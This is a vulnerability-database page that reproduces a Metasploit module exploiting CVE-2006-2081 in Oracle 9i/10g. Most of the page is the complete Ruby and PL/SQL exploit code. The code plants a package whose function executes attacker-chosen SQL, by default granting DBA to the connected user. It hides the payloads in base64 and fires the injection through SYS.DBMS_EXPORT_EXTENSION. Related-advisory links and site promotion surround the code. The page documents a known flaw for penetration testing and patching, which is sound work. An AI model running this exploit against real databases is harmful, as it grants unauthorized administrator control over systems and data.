Lucene search
K

Oracle DB SQL Injection Via DBMS_EXPORT_EXTENSION

🗓️ 31 Aug 2024 00:00:00Reported by Jay Turla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 203 Views

Oracle DB SQL Injection via DBMS_EXPORT_EXTENSION. Escalate user to DBA using sql injection bug in DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA package

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
Oracle 10g Application Server SQL Injection
18 Aug 200400:00
nessus
Circl
CVE-2006-2081
29 May 201815:50
circl
Check Point Advisories
Oracle Database Server DBMS_EXPORT_EXTENSION Package Privilege Escalation (CVE-2006-2081)
2 Mar 201000:00
checkpoint_advisories
CVE
CVE-2006-2081
27 Apr 200623:00
cve
Cvelist
CVE-2006-2081
27 Apr 200623:00
cvelist
Metasploit
Oracle DB SQL Injection via DBMS_EXPORT_EXTENSION
25 Mar 201023:49
metasploit
NVD
CVE-2006-2081
27 Apr 200623:02
nvd
Prion
Design/Logic Flaw
20 Apr 200610:02
prion
Prion
Sql injection
27 Apr 200623:02
prion
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::ORACLE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle DB SQL Injection via DBMS_EXPORT_EXTENSION',  
'Description' => %q{  
This module will escalate an Oracle DB user to DBA by exploiting a  
sql injection bug in the DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA package.  
  
Note: This module has been tested against 9i, 10gR1 and 10gR2.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2006-2081' ],  
[ 'OSVDB', '25002' ],  
[ 'BID', '17699' ],  
[ 'URL', 'http://www.red-database-security.com/exploits/oracle-sql-injection-oracle-dbms_export_extension.html' ],  
],  
'DisclosureDate' => '2006-04-26'))  
  
register_options(  
[  
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),  
])  
end  
  
def run  
return if not check_dependencies  
  
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)  
rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)  
rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)  
rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)  
  
package = %Q|  
create or replace package #{name} authid current_user is  
function ODCIIndexGetMetadata (oindexinfo sys.odciindexinfo,P3 varchar2,p4 varchar2,env sys.odcienv)  
return number;  
end;  
|  
  
body = %Q|  
create or replace package body #{name} is  
function ODCIIndexGetMetadata (oindexinfo sys.odciindexinfo,P3 varchar2,p4 varchar2,env sys.odcienv)  
return number is  
pragma autonomous_transaction;  
begin  
execute immediate '#{datastore['SQL']}';  
commit;  
return(0);  
end;  
end;  
|  
  
sploit = %Q|  
declare  
#{rand1} pls_integer;  
#{rand2} number;  
#{rand3} varchar(32767);  
begin  
#{rand2} := 0;  
#{rand3} := sys.dbms_export_extension.get_domain_index_metadata('#{name}', '#{datastore['DBUSER']}', '#{name}', '#{datastore['DBUSER']}', '', newblock => #{rand1}, gmflags => #{rand2});  
end;  
|  
  
encoded_package = %Q|  
declare  
#{rand1} varchar2(32767);  
begin  
#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{Rex::Text.encode_base64(package)}')));  
execute immediate #{rand1};  
end;  
|  
  
encoded_body = %Q|  
declare  
#{rand2} varchar2(32767);  
begin  
#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{Rex::Text.encode_base64(body)}')));  
execute immediate #{rand2};  
end;  
|  
  
encoded_sploit = %Q|  
declare  
#{rand3} varchar2(32767);  
begin  
#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{Rex::Text.encode_base64(sploit)}')));  
execute immediate #{rand3};  
end;  
|  
  
# Finally...  
print_status("Sending package '#{name}'...")  
prepare_exec(encoded_package)  
  
print_status("Sending body '#{name}'...")  
prepare_exec(encoded_body)  
  
print_status("Attempting sql injection on SYS.DBMS_EXPORT_EXTENSION...")  
prepare_exec(encoded_sploit)  
  
# Probably should do a 'drop package #{name}'  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 24.6
EPSS0.64254
203